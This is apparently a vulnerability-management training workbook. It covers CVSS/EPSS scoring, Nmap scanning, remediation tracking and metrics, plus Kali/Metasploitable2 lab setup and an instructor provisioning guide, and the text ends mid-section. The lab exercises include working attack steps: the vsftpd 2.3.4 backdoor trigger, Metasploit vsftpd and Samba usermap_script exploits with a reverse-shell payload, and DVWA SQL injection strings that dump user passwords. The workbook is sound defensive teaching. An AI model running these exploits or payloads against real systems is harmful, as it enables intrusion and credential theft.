// cybersecurity training programme
Vulnerability
Management
Workbook
A complete, hands-on training programme covering the full VM lifecycle — from asset discovery through to metrics reporting. Work through each module at your own pace.
12Modules
6–8Hours
30Exam Qs
100%Free Tools
📋 Table of Contents
| # | Module | Topics Covered | Est. Time |
|---|---|---|---|
| 0 | 📋 Cover | Overview, objectives, instructions | 5 min |
| 1 | 📚 Foundations | VM lifecycle, CVE/NVD/CVSS/EPSS, standards, free tools | 45 min |
| 2 | 🔍 Asset Inventory | Asset register, criticality scoring, discovery lab | 30 min |
| 3 | 📡 Scanning Lab | Nmap commands, scan types, output analysis exercise | 45 min |
| 4 | ⚡ CVSS Scoring | CVSS v3.1 interactive calculator, worked CVEs, scoring quiz | 60 min |
| 5 | 🎯 Risk Prioritisation | EPSS, risk scoring formula, 12-vuln triage lab | 45 min |
| 6 | 🛠️ Remediation Tracker | SLA targets, live tracker, patch rate metrics | 30 min |
| 7 | 📊 Metrics Dashboard | KPI definitions, trend charts, exec summary builder | 30 min |
| 8 | 🔁 Process Review | Maturity assessment, lessons-learned template | 45 min |
| 9 | 📝 Final Assessment | 30-question exam, auto-graded MC, immediate feedback | 45 min |
| 10 | 🖥️ Hands-On Lab Setup | Build a free VirtualBox lab (Kali + Metasploitable2), 8 guided exercises | 90 min |
| 11 | ☁️ Cloud Lab Alternative | TryHackMe & HTB Academy zero-install track for locked-down laptops | 60 min |
| 12 | 🎓 Instructor Lab Setup | Classroom pre-provisioning, shared cloud lab, Docker track, student reset scripts | Instructor use |
🚀 How to Use This Workbook
💡
Work through modules in order — each one builds on the previous. The exam at the end tests everything covered.
✏️
Yellow cells and input boxes are for your answers. Fill them in as you go — your work is saved in your browser session.
🔧
All referenced tools are free and open-source. Nmap, OpenVAS/Greenbone, Metasploit Community, and the NIST CVSS Calculator are available at no cost.
⚠️
Legal reminder: Only scan systems you own or have explicit written permission to scan. Never use these techniques on unauthorised targets.
// module 01
Foundations of
Vulnerability Management
🔐 What Is Vulnerability Management?
Vulnerability Management (VM) is a continuous, proactive process of identifying, classifying, prioritising, remediating, and reporting on security vulnerabilities across an organisation's technology estate. Unlike a one-off penetration test, VM is an ongoing programme — not a project with a defined end date.
Goal
Reduce the organisation's attack surface by systematically eliminating known weaknesses before threat actors can exploit them.
Scope
Network devices, servers, endpoints, cloud workloads, containers, web applications, APIs, and third-party/open-source software.
Key principle
"You cannot protect what you don't know exists." Asset visibility is the foundation of every effective VM programme.
VM vs Pen Testing
VM is continuous and automated; pen testing is point-in-time and manual. VM finds known weaknesses at scale; pen testers find novel attack paths. They are complementary, not competing.
🔄 The VM Lifecycle — 6 Phases
01
Discovery
Identify all assets in scope
02
Scanning
Detect known CVEs with scanners
03
Assessment
Score & prioritise by risk
04
Remediation
Patch, mitigate, or accept
05
Verification
Re-scan to confirm fix
06
Reporting
KPIs, trends, lessons learned
📖 Key Standards & Databases
CVE
Common Vulnerabilities & Exposures. Unique identifiers for publicly known vulnerabilities. Format:
CVE-YEAR-NUMBER (e.g. CVE-2021-44228). Maintained by MITRE. Browse at cve.mitre.orgNVD
National Vulnerability Database. NIST-maintained enrichment of CVEs — adds CVSS scores, CPE data, and references. Browse at nvd.nist.gov
CVSS
Common Vulnerability Scoring System. Industry standard for severity scoring. v3.1 widely used; v4.0 released 2023. Scores range 0.0–10.0. See Module 4 for hands-on calculator.
EPSS
Exploit Prediction Scoring System. Probability (0–1) that a CVE will be exploited in the wild within 30 days. Produced by FIRST.org. Critically, a high CVSS ≠ high EPSS.
CISA KEV
Known Exploited Vulnerabilities catalogue. CISA's authoritative list of CVEs known to be actively exploited. If a CVE is on the KEV list, patch it — regardless of CVSS score.
CWE
Common Weakness Enumeration. Taxonomy of software weakness types. CWE-79 = XSS, CWE-89 = SQL Injection, CWE-119 = Buffer Overflow. Maps to CVEs.
MITRE ATT&CK
Adversary Tactics, Techniques & Procedures. Use it to understand how vulnerabilities are exploited in realistic attack chains — contextualises your prioritisation decisions.
🔧 Free Tools You'll Use in This Workbook
| Tool | Purpose | Where to Get It |
|---|---|---|
| Nmap | Network discovery & port scanning — the foundation of any scan workflow | nmap.org (free, open-source) |
| OpenVAS / Greenbone | Full vulnerability scanner — detects CVEs across hosts | greenbone.net (community edition free) |
| Metasploit Community | Exploitation framework for confirming exploitability of findings | metasploit.com (community edition free) |
| NIST CVSS Calculator | Official online CVSS v3.1 & v4.0 scorer — replicated interactively in Module 4 | nvd.nist.gov/vuln-metrics/cvss |
| Shodan | Search engine for internet-exposed devices — useful for external attack surface discovery | shodan.io (free basic tier) |
| Vulners / OSV | Vulnerability databases with API access for automation workflows | vulners.com / osv.dev |
✏️ Knowledge Check
✏️ Module 1 — Knowledge Check
1Name the 6 phases of the VM lifecycle in order.
2What does EPSS measure, and how does it differ from CVSS?
3A CVE has CVSS score 9.8 but EPSS of 0.002. How does this affect your prioritisation decision?
4What is the difference between an unauthenticated scan and an authenticated (credentialed) scan?
// module 02 · lab
Asset Inventory Lab
Lab Objective
Build and complete an asset register for fictional company AcmeCorp. Fill in the yellow cells, write the criticality formula, and identify your top scan targets.
📐
Criticality Score Formula: = (Data Sensitivity × 0.4) + (Business Impact × 0.4) + (Internet Facing score × 0.2)
Internet Facing: Yes = 5, No = 1
Internet Facing: Yes = 5, No = 1
🗂️ AcmeCorp Asset Register — Complete the Yellow Cells
| Asset ID | Hostname | IP Address | OS | Type | Owner | Internet Facing? | Data Sensitivity (1–5) | Business Impact (1–5) | Criticality Score |
|---|
🎯 Task C — Analysis
1Which 3 assets have the highest criticality scores? List them and explain why they should be scanned first.
2You discover a new shadow IT laptop on the network not in this register. What process do you follow?
// module 03 · lab
Vulnerability Scanning Lab
💻 Nmap Command Reference
| Command | Description |
|---|---|
nmap -sn 10.0.1.0/24 | Ping sweep — discover live hosts without port scanning. Fast first step. |
nmap -sS -p 1-1000 10.0.1.10 | SYN (stealth) scan on ports 1–1000. Faster than full connect. Requires root/admin. |
nmap -sV -sC 10.0.1.10 | Service version detection + default NSE scripts. Run after host discovery. |
nmap -A -T4 10.0.1.10 | Aggressive scan: OS detect, version, scripts, traceroute. Noisy but thorough. |
nmap -sU -p 53,161,500 10.0.1.10 | UDP scan on DNS, SNMP, IKE. Often overlooked — UDP services have major CVEs. |
nmap -p 445 --script smb-vuln-* 10.0.1.0/24 | Run SMB vulnerability scripts across subnet. Detects EternalBlue and related vulns. |
nmap --script vuln 10.0.1.10 | Run all vulnerability detection scripts against a host. Comprehensive but slower. |
nmap -oX output.xml 10.0.1.0/24 | Export to XML for import into VM platforms like OpenVAS, Nessus, or Defect Dojo. |
📊 Scan Types Comparison
| Scan Type | How It Works | Accuracy | Best Used For |
|---|---|---|---|
| Unauthenticated / External | No credentials; simulates outside attacker | ⭐⭐ Moderate | External attack surface, open ports, banner grabbing |
| Authenticated / Credentialed | Logs in with read-only creds; sees software versions | ⭐⭐⭐⭐⭐ High | Internal patch state, installed software, missing patches |
| Agent-Based | Lightweight agent installed on each host | ⭐⭐⭐⭐⭐ Highest | Laptops, remote workers, always-on monitoring |
| Passive / Traffic Analysis | Listens to network traffic; no packets sent | ⭐⭐ Limited | Zero-noise environments; discovering assets passively |
🔬 Lab Exercise — Analyse Scan Output
Simulated Nmap Scan Output — webserver01 (10.0.1.10)
# Nmap 7.94 scan initiated — target: 10.0.1.10
# Nmap scan report for webserver01 (10.0.1.10)
# Host is up (0.0034s latency)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6
443/tcp open ssl/https Apache httpd 2.4.6
3306/tcp open mysql MySQL 5.6.49
8080/tcp open http Apache Tomcat 6.0.53
21/tcp open ftp vsftpd 2.3.4
OS details: Linux 3.10 - 4.11 (kernel end-of-life)
Service Info: OS: Unix
✏️ Lab Questions — Analyse the Scan Output Above
1List ALL potentially vulnerable services in this scan output and explain why each is concerning.
2vsftpd 2.3.4 is known for a hardcoded backdoor (CVE-2011-2523). Write the full Nmap command you'd run to probe it further.
3MySQL is listening on port 3306 publicly. What specific risks does this represent? How would you remediate?
4Write a complete Nmap command to scan this host aggressively and save results to XML.
5After analysis, what is your recommended remediation order? Justify your priority decisions.
// module 04 · interactive
CVSS v3.1 Scoring Calculator
🧮 Interactive CVSS v3.1 Calculator
10.0
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
📋 Real-World CVE Examples
| CVE | Description | CVSS Vector | Score |
|---|---|---|---|
| CVE-2021-44228 Log4Shell | RCE in Apache Log4j via JNDI lookup in logged strings. Affects millions of Java apps. | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 CRITICAL |
| CVE-2021-34527 PrintNightmare | Windows Print Spooler RCE. Allows privilege escalation when spooler is accessible remotely. | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 HIGH |
| CVE-2022-0847 Dirty Pipe | Linux kernel privilege escalation via pipe mechanism. Local user gains root on kernel 5.8+. | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 7.8 HIGH |
| CVE-2023-23397 Outlook NTLM | Zero-click Outlook vuln leaks Net-NTLMv2 hash via malicious calendar reminder. No user action needed. | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 9.8 CRITICAL |
✏️ CVSS Scoring Exercise — Score These Yourself
1Scenario A: An authenticated admin-only SQL injection in an internal HR portal. Requires VPN access. Only affects database records — no code execution possible.
2Scenario B: A buffer overflow in an internet-facing VPN client. No credentials required. Full system access granted. Affects all connected users simultaneously.
3Scenario C: A reflected XSS on a public marketing website. Requires victim to click a crafted link. Only affects the victim's current browser session — no server-side impact.
// module 05 · lab
Risk-Based Prioritisation
Lab Scenario
You are AcmeCorp's VM analyst. Your patching team can only handle 4 vulnerabilities this week. Use the Risk Priority Score formula to decide which 4 to patch first.
📐
Risk Priority Score Formula:
= (CVSS/10 × 0.35) + (EPSS × 0.35) + (Asset Criticality/5 × 0.20) + (Exploit Available × 0.10)
Exploit Available: Yes = 1, No = 0
= (CVSS/10 × 0.35) + (EPSS × 0.35) + (Asset Criticality/5 × 0.20) + (Exploit Available × 0.10)
Exploit Available: Yes = 1, No = 0
✏️ Analysis Questions
1Which 4 vulnerabilities did your Risk Priority Score select? Why does the formula favour them?
2Identify any CVEs where CVSS is high but EPSS is very low. What does this tell you about prioritisation?
3One CVE targets your most critical asset (score 5/5) but has CVSS 7.8 and EPSS 0.003. Does it jump the queue? Justify.
4How would you communicate your top-4 prioritisation decision to a non-technical IT manager?
// module 06
Remediation Tracker
⏱️ SLA Targets
| Severity | CVSS Range | Patch SLA | Guidance |
|---|---|---|---|
| Critical | 9.0–10.0 | 24 hours | Escalate immediately; emergency change if required |
| High | 7.0–8.9 | 7 days | Schedule in next maintenance window |
| Medium | 4.0–6.9 | 30 days | Include in monthly patch cycle |
| Low | 0.1–3.9 | 90 days | Address in quarterly patch cycle |
📋 Remediation Tracker — Update Statuses As You Work
| Ticket | CVE | Severity | Asset | Detected | SLA Deadline | Owner | Status | Notes | Verified? |
|---|
📊 Tracker Summary
// module 07
VM Metrics Dashboard
Open Critical Vulns
2
↓ from 18 (Jan)
Open High Vulns
15
↓ from 42 (Jan)
Scan Coverage
97%
↑ Target: 95%+ ✓
Patch Rate (Crit/High)
95%
↑ Target: 90%+ ✓
MTTR Critical (days)
0.9
↓ from 3.2 (Jan)
Total Open Vulns
76
↓ from 187 (Jan)
📉 Open Vulnerability Trend (Jan–Jun)
📈 Scan Coverage & Patch Rate Trend
✏️ Executive Summary Builder
1Write a 3-sentence executive summary of the 6-month VM programme performance above for a board audience.
2What is the single most important metric you would report to a CISO and why?
3MTTR for Critical dropped from 3.2 days to 0.9 days. How do you frame this as a business outcome (not just a technical metric) for the board?
// module 08
Process Review & Maturity Assessment
📐 VM Programme Maturity Gap Analysis
Rate your organisation (or AcmeCorp) on each area from 1 (none) to 5 (optimised). Drag the sliders.
Total Maturity Score
0 / 50
Not assessed yet
📝 Lessons Learned Template
1Review Period / Incident Being Reviewed
2What worked well in this cycle?
3What didn't work? What were the gaps?
4Root cause of the gaps identified above
5Action items (SMART — Specific, Measurable, Achievable, Relevant, Time-bound)
// module 09 · assessment
Final Assessment
30
Questions
20
MC Auto-graded
10
Short Answer
70%
Pass Mark
45
Min Suggested
0/20
Multiple Choice Score
Review the highlighted answers above, then self-assess your short-answer responses.
// module 10 · build your own lab
Hands-On Lab Setup Guide
⚠️
Legal & safety notice: Every tool and target in this module is for use in an isolated, offline lab you own. Never scan, exploit, or expose these targets to a real network, the internet, or systems you don't have explicit written authorization to test. Use Host-Only or Internal Network mode only — instructions below.
Why This Module Exists
Modules 1–9 taught you the theory and let you analyse simulated scan output. That's necessary but not sufficient — real VM analysts need muscle memory from running tools against a live target. This module walks you through building a free, fully isolated practice lab on your own laptop in under an hour, then gives you 8 progressively harder hands-on exercises to run inside it.
Part A · Build the Lab
🧰 What You'll Install (All Free)
| Component | Role | Size | Source |
|---|---|---|---|
| VirtualBox | Free hypervisor — runs all the VMs below | ~150 MB | virtualbox.org |
| Kali Linux VM | Your "attacker" machine — Nmap, Metasploit, and scanners pre-installed | ~3–4 GB | kali.org/get-kali (official VirtualBox image) |
| Metasploitable 2 | Your primary "target" — 30+ deliberately vulnerable services | ~800 MB | sourceforge.net/projects/metasploitable |
| DVWA (bundled in Metasploitable2) | Web app target — SQLi, XSS, CSRF, file upload practice | included | Already on Metasploitable2; standalone version also exists |
💻 Minimum System Requirements
RAM
8 GB minimum (16 GB comfortable) — Kali needs ~2GB, Metasploitable2 needs ~512MB–1GB, plus your host OS
Disk space
20 GB free minimum for both VM images plus snapshots
CPU
Virtualization support (Intel VT-x / AMD-V) — enabled by default on most modern laptops; check BIOS if VirtualBox refuses to start a 64-bit VM
OS
Windows, macOS (Intel or Apple Silicon via UTM/VirtualBox 7+), or Linux host — all supported
🛠️ Step-by-Step Setup
Install VirtualBox
Download & install for your OS. Restart if prompted.
Import Kali
Download the official .vbox/.ova image, File → Import Appliance
Import Metasploitable2
Unzip, New VM → Use existing disk → select the .vmdk file
Set networking
Both VMs → Settings → Network → Host-Only Adapter
Boot & verify
Start both VMs, note their IPs, ping between them
Snapshot
Take a "clean-install" snapshot of both VMs before practising
Detailed Instructions
Step 1 — VirtualBox
Go to virtualbox.org/wiki/Downloads, download the installer for your host OS, run it accepting defaults. On Windows you may need to allow a network adapter driver install.
Step 2 — Kali Linux
Go to kali.org/get-kali/#kali-virtual-machines, download the "VirtualBox" pre-built image (.7z file). Extract it, then in VirtualBox: File → Import Appliance, point to the extracted .vbox file. Default credentials:
kali / kaliStep 3 — Metasploitable2
Download from the official SourceForge project page, unzip the archive. In VirtualBox: New → Name it "Metasploitable2" → Type: Linux, Version: Ubuntu (32-bit) → RAM: 1024MB → Use an existing virtual hard disk file → browse to the extracted
.vmdk file. Default credentials: msfadmin / msfadminStep 4 — Networking (critical!)
Select both VMs → Settings → Network → Adapter 1 → Attached to: Host-Only Adapter. This creates a private network between your host and both VMs only — completely isolated from the internet and your home/school LAN. Never use Bridged mode with these vulnerable images.
Step 5 — Boot & find IPs
Start Metasploitable2 first, log in, run
ifconfig to note its IP (e.g. 192.168.56.101). Start Kali, log in, run ip a to confirm it's on the same subnet. From Kali, run ping 192.168.56.101 to confirm connectivity.Step 6 — Snapshot
In VirtualBox, right-click each VM → Take Snapshot → name it "clean-install". After you break or misconfigure something during practice, right-click → Restore Snapshot to reset instantly. This is how real lab environments let students fail safely.
🍎
Apple Silicon (M1/M2/M3/M4) Macs: VirtualBox 7+ has experimental ARM support, but Metasploitable2's 32-bit x86 image may not boot. Use UTM (free, utmapp.com) instead, which emulates x86 via QEMU, or run the lab in a cloud-hosted alternative (see the TryHackMe note below).
☁️
No laptop capacity / can't install locally? Browser-based alternatives exist that need zero setup: TryHackMe (free tier, guided rooms) and Hack The Box Academy (free starter modules) both host vulnerable targets in the cloud. Less hands-on with VirtualBox networking concepts, but a valid fallback for resource-constrained students.
Part B · 8 Hands-On Exercises
How to Use These Exercises
Run every command from your Kali VM, targeting Metasploitable2's IP. Replace TARGET_IP with the IP you noted in Step 5. Work through them in order — each builds on skills from the last. Record your findings in the answer boxes provided.
🥾 Exercise 1 — Host Discovery & Full Port Scan
Confirm the target is alive, then enumerate every open port and the service/version running on each.
# Step 1: confirm host is up
ping -c 4 TARGET_IP
# Step 2: full TCP port scan with version detection
nmap -sV -p- -T4 TARGET_IP
1Paste your scan output below and list every open port with its service name.
🔍 Exercise 2 — Vulnerability Script Scanning
Use Nmap's built-in vulnerability scripts to automatically flag known CVEs on the open ports you found.
nmap --script vuln TARGET_IP
1Which CVEs or known vulnerabilities did the script scan flag? List at least 3.
🐚 Exercise 3 — Exploit the vsftpd Backdoor
Port 21 runs vsftpd 2.3.4, which contains a known backdoor (CVE-2011-2523). Confirm it manually, then exploit it via Metasploit.
# Manual confirmation via telnet
telnet TARGET_IP 21
# at the login prompt, type a username ending in :)
user backdoored:)
pass invalid
# then in a new terminal, connect to the backdoor port it opens
telnet TARGET_IP 6200
# --- OR automate with Metasploit ---
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS TARGET_IP
exploit
1What privilege level did you obtain after exploitation? What does this teach you about the real-world impact of a CVSS 10.0 CVE?
🌐 Exercise 4 — Web App Recon on DVWA
DVWA is bundled on Metasploitable2 at port 80. Log in (admin/password) and identify the underlying technology stack.
# browse to:
http://TARGET_IP/dvwa/login.php
# fingerprint the web stack from Kali
whatweb http://TARGET_IP/dvwa/
nikto -h http://TARGET_IP/dvwa/
1What web server, PHP version, and database does Nikto/WhatWeb reveal? Why does this matter for vulnerability assessment?
💉 Exercise 5 — SQL Injection in DVWA
Set DVWA's security level to "low" (DVWA Security menu), navigate to the SQL Injection module, and extract data you shouldn't have access to.
# In the User ID field, try:
1' OR '1'='1
1' UNION SELECT user, password FROM users-- -
1What data were you able to extract? Map this to its CWE classification (hint: see Module 1).
🔑 Exercise 6 — Weak Credential / Samba Exploitation
Metasploitable2 ships a misconfigured Samba service exploitable via Metasploit's usermap_script module.
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS TARGET_IP
set PAYLOAD cmd/unix/reverse
set LHOST YOUR_KALI_IP
exploit
1What remediation would you recommend for this finding in a real environment? Reference the SLA tiers from Module 6.
📋 Exercise 7 — Write a Real Vulnerability Report
Using everything found in Exercises 1–6, write a one-page finding report for the vsftpd backdoor exactly as you would for a real client or employer.
1Title:
2Affected asset, CVE ID, and CVSS vector/score (use your Module 4 calculator)
3Evidence (what you ran, what you observed)
4Business impact and recommended remediation with SLA
🔄 Exercise 8 — Remediate & Re-Scan (Verification Practice)
Mitigate the FTP backdoor by disabling vsftpd, then re-run your scan to prove closure — exactly as Module 1's "Verification" phase requires.
# on Metasploitable2 (target), as msfadmin:
sudo service vsftpd stop
# back on Kali, re-scan to verify
nmap -p 21 TARGET_IP
1Did the re-scan confirm closure? What would you document in the ticket as "proof of fix"?
Cleanup & Next Steps
🚀 After This Lab
Restore your snapshot
Right-click Metasploitable2 → Restore Snapshot → "clean-install" to reset for the next student or next attempt.
Progress to Metasploitable3
More modern, realistic vulnerabilities (Windows AD misconfigurations, contemporary web flaws). Requires building from source via Packer/Vagrant — see github.com/rapid7/metasploitable3
Try guided platforms
TryHackMe's "Pre Security" and "Jr Penetration Tester" learning paths layer structured lessons on top of this same skill set.
Practice real scanner tools
Install OpenVAS/Greenbone Community Edition against your same Metasploitable2 target to compare automated scanner output with your manual Nmap findings.
// module 12 · instructor reference
Instructor Lab Provisioning Guide
Three deployment models — classroom machines, shared cloud server, and Docker — with exact commands, student reset procedures, and a pre-session checklist. Choose the model that fits your setup.
⚠️
Instructor responsibility: You are deploying deliberately vulnerable systems. Keep all lab targets on isolated networks only. Never expose Metasploitable2 or DVWA to the internet or your institution's production LAN. Document your authorisation to run this lab in writing before any session.
🗺️ Choose Your Deployment Model
🖥️
Model A
Classroom Machines
Pre-install VirtualBox + VMs on each lab PC. Students work locally. Best for in-person labs with consistent hardware.
✅
Best for: dedicated lab room, identical machines, no internet dependency
☁️
Model B
Shared Cloud Server
One Metasploitable2 VM on a cloud VPS. Students connect via OpenVPN from any device. Best for remote/hybrid cohorts.
⚠️
Best for: remote students, mixed devices, instructor-controlled target
🐳
Model C
Docker (Local)
Metasploitable2 + Kali as Docker containers. Faster to reset than VMs. Works on most modern laptops.
🚀
Best for: fast resets, lighter resource use, instructor demos
🖥️ Model A — Classroom Machine Pre-Provisioning
📋 Instructor Pre-Session Checklist (run this on each classroom machine)
Step 1 — Install VirtualBox Silently (Windows batch script)
Run this as Administrator on each classroom machine, or deploy via GPO/SCCM. Downloads and installs VirtualBox silently with extension pack.
:: save as install_virtualbox.bat — run as Administrator
:: Step 1: Download VirtualBox installer
curl -L "https://download.virtualbox.org/virtualbox/7.0.20/VirtualBox-7.0.20-163906-Win.exe" ^
-o "%TEMP%\VBoxInstall.exe"
:: Step 2: Silent install (no reboot prompt)
"%TEMP%\VBoxInstall.exe" --silent --ignore-reboot
:: Step 3: Verify installation
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" --version
:: Expected output: 7.0.x (or current version)
🐧
Linux classroom machines:
sudo apt update && sudo apt install -y virtualbox virtualbox-ext-pack — accept the PUEL license non-interactively by pre-seeding with echo "virtualbox-ext-pack virtualbox-ext-pack/license select true | sudo debconf-set-selections"Step 2 — Import Kali and Metasploitable2 VMs via Script
Pre-download the VM files to a shared network drive or USB, then run this script to import both VMs on each machine. Much faster than having students download individually.
:: Place both VM files on a USB or shared drive at D:\LabVMs\
:: Kali: D:\LabVMs\kali-linux-2024.4-virtualbox-amd64.ova
:: Metasploitable: D:\LabVMs\Metasploitable.vmdk
:: ── Import Kali Linux OVA ──────────────────────────────
VBoxManage import "D:\LabVMs\kali-linux-2024.4-virtualbox-amd64.ova" ^
--vsys 0 --memory 2048 --cpus 2
:: ── Create Metasploitable2 VM from VMDK ────────────────
VBoxManage createvm --name "Metasploitable2" --ostype "Ubuntu" --register
VBoxManage modifyvm "Metasploitable2" --memory 1024 --cpus 1
VBoxManage storagectl "Metasploitable2" --name "SATA" --add sata
VBoxManage storageattach "Metasploitable2" ^
--storagectl "SATA" --port 0 --device 0 --type hdd ^
--medium "D:\LabVMs\Metasploitable.vmdk"
:: ── Set BOTH to Host-Only networking (critical!) ───────
VBoxManage modifyvm "Kali-Linux-2024.4-amd64" ^
--nic1 hostonly --hostonlyadapter1 "VirtualBox Host-Only Ethernet Adapter"
VBoxManage modifyvm "Metasploitable2" ^
--nic1 hostonly --hostonlyadapter1 "VirtualBox Host-Only Ethernet Adapter"
:: ── Take clean snapshots ──────────────────────────────
VBoxManage snapshot "Kali-Linux-2024.4-amd64" take "clean-install" ^
--description "Baseline — restore before each student session"
VBoxManage snapshot "Metasploitable2" take "clean-install" ^
--description "Baseline — restore before each student session"
echo Lab setup complete on this machine.
🔄 Student Reset Script — Run Between Sessions
Run this script between student sessions to restore both VMs to the clean-install snapshot. Takes ~30 seconds per machine. Automate across all machines via PowerShell remoting or a classroom management tool.
:: reset_lab.bat — run as Administrator between student sessions
:: Power off VMs if still running
VBoxManage controlvm "Kali-Linux-2024.4-amd64" poweroff 2>nul
VBoxManage controlvm "Metasploitable2" poweroff 2>nul
timeout /t 3 /nobreak >nul
:: Restore both VMs to clean snapshot
VBoxManage snapshot "Kali-Linux-2024.4-amd64" restore "clean-install"
VBoxManage snapshot "Metasploitable2" restore "clean-install"
echo Both VMs restored to clean-install snapshot.
echo Ready for next student.
⚡
Automating across all machines: Use PowerShell remoting —
Invoke-Command -ComputerName lab01,lab02,lab03 -FilePath .\reset_lab.bat — or your institution's imaging/classroom management software (Deep Freeze, NetRestore, Faronics) to push the reset to all stations simultaneously.☁️ Model B — Shared Cloud Server with OpenVPN
Architecture Overview
You provision one cloud VPS (Ubuntu 22.04) running Metasploitable2 in Docker + an OpenVPN server. Each student receives a personal .ovpn config file. They connect from any device (Kali laptop, Windows with Kali WSL, or even Kali on TryHackMe via OpenVPN) and scan/exploit your shared target. You reset the target between cohorts with a single command.
💰 Cost Estimate (DigitalOcean / AWS / Hetzner)
| Provider | Spec Needed | Monthly Cost | Notes |
|---|---|---|---|
| DigitalOcean | 2 vCPU, 4GB RAM, 80GB SSD (Basic Droplet) | ~$24/mo | Simple UI, hourly billing — destroy when not teaching |
| AWS EC2 | t3.medium (2 vCPU, 4GB RAM) | ~$30/mo or Free Tier t2.micro for small groups | t2.micro (1GB RAM) free for 12 months — enough for 1–5 students |
| Hetzner | CX22 (2 vCPU, 4GB RAM) | ~€4.35/mo (~$5) | Cheapest option; EU-based; ideal for cost-sensitive programmes |
| 💡 Best practice | Spin up the VPS only when teaching, destroy when done. Saves 80–90% of cost for weekly sessions. Store the docker-compose.yml in Git so you can rebuild in 5 minutes. | ||
Step 1 — Provision the VPS and Install Dependencies
# Run as root on a fresh Ubuntu 22.04 VPS
# ── Update system ─────────────────────────────────────
apt update && apt upgrade -y
# ── Install Docker ────────────────────────────────────
curl -fsSL https://get.docker.com | sh
systemctl enable --now docker
# ── Install Docker Compose ────────────────────────────
apt install -y docker-compose-plugin
# ── Install OpenVPN and EasyRSA ──────────────────────
apt install -y openvpn easy-rsa
# ── Verify ────────────────────────────────────────────
docker --version # Docker 24+
openvpn --version # OpenVPN 2.5+
Step 2 — Deploy Metasploitable2 in Docker (Isolated Network)
Save this as docker-compose.yml on your VPS. The vulnerable target is on an isolated Docker network — not reachable from the internet, only from the OpenVPN tunnel.
# /opt/lab/docker-compose.yml
version: '3.8'
networks:
labnet:
driver: bridge
ipam:
config:
- subnet: 10.20.0.0/24 # isolated lab network
services:
metasploitable2:
image: tleemcjr/metasploitable2:latest
container_name: msf2_target
hostname: metasploitable2
networks:
labnet:
ipv4_address: 10.20.0.10 # fixed IP — students always scan this
command: sh -c "/bin/services.sh && tail -f /dev/null"
restart: unless-stopped
# NO ports exposed to the internet — VPN access only
dvwa:
image: vulnerables/web-dvwa:latest
container_name: dvwa_target
hostname: dvwa
networks:
labnet:
ipv4_address: 10.20.0.11
restart: unless-stopped
# Start the lab targets
cd /opt/lab && docker compose up -d
# Verify both containers are running
docker compose ps
# Both should show status: running
# Confirm Metasploitable2 services are up (from the VPS itself)
nmap -p 21,22,80,3306 10.20.0.10
Step 3 — Set Up OpenVPN (One Profile per Student)
# ── Initialise PKI with EasyRSA ───────────────────────
make-cadir /opt/openvpn-ca && cd /opt/openvpn-ca
./easyrsa init-pki
./easyrsa build-ca nopass # CA cert (no passphrase for automation)
./easyrsa build-server-full server nopass
./easyrsa gen-dh # Diffie-Hellman params (~2 min)
openvpn --genkey --secret pki/ta.key
# ── Generate one client cert per student ─────────────
# Repeat for each student: student01, student02, etc.
./easyrsa build-client-full student01 nopass
./easyrsa build-client-full student02 nopass
./easyrsa build-client-full student03 nopass
# ... repeat for all students
# ── Create .ovpn profile for student01 ───────────────
# Replace YOUR_VPS_IP with your server's public IP
cat > /opt/profiles/student01.ovpn << 'EOF'
client
dev tun
proto udp
remote YOUR_VPS_IP 1194
resolv-retry infinite
nobind
persist-key
persist-tun
verb 3
<ca>
$(cat pki/ca.crt)
</ca>
<cert>
$(cat pki/issued/student01.crt)
</cert>
<key>
$(cat pki/private/student01.key)
</key>
<tls-auth>
$(cat pki/ta.key)
</tls-auth>
key-direction 1
EOF
# Distribute student01.ovpn to Student 1 via secure email/LMS
# They import it into OpenVPN Connect (free, all platforms)
⚡
Faster alternative: Use the
openvpn-install bash script (github.com/Nyr/openvpn-install) which handles the entire OpenVPN + EasyRSA setup in one command and generates .ovpn files interactively. Highly recommended for non-sysadmin instructors.Step 4 — Route VPN Clients into the Lab Network
Add this to your OpenVPN server config (/etc/openvpn/server.conf) so connected students can reach the 10.20.0.0/24 Docker lab network:
# In /etc/openvpn/server.conf — add these lines:
push "route 10.20.0.0 255.255.255.0"
route 10.20.0.0 255.255.255.0
# Enable IP forwarding on the VPS
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
# iptables rule: forward VPN traffic into Docker lab network
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -d 10.20.0.0/24 -j MASQUERADE
iptables -A FORWARD -s 10.8.0.0/24 -d 10.20.0.0/24 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
# Persist iptables rules across reboots
apt install -y iptables-persistent
netfilter-persistent save
# Restart OpenVPN to apply config
systemctl restart openvpn@server
🔄 Shared Target Reset — Between Cohorts
One command resets both targets to a clean state. Run between sessions or cohorts. Takes ~20 seconds.
# Full reset — destroys and recreates containers from clean images
cd /opt/lab
docker compose down # stop and remove containers
docker compose up -d # recreate from original images
# Verify
docker compose ps
docker exec msf2_target nmap localhost -p 21,22,80 2>/dev/null | grep open
# Expected: port 21, 22, 80 all showing open
# Target is clean — ready for next group
⏱️
Because Docker containers are stateless and ephemeral, every restart is a full reset to the original image state. No snapshot management needed — this is the key advantage over VMs for multi-cohort delivery.
📤 Student Connection Instructions (distribute this)
Step 1
Download and install OpenVPN Connect from openvpn.net/client (free, Windows/Mac/Linux/iOS/Android)
Step 2
Import your personal
studentXX.ovpn file provided by your instructor. In OpenVPN Connect: click the + icon → Import from File → select your .ovpn fileStep 3
Click Connect. When connected, you will see a new VPN IP in your network settings.
Step 4
Open Kali Linux (local VM, WSL, or TryHackMe AttackBox). The lab target is always at
10.20.0.10 (Metasploitable2) and 10.20.0.11 (DVWA).Verify
Run
ping 10.20.0.10 from your Kali terminal. If you get replies, you are connected and ready to begin.🐳 Model C — Docker Local Lab (Fastest Reset)
Why Docker over VirtualBox for Classroom Use?
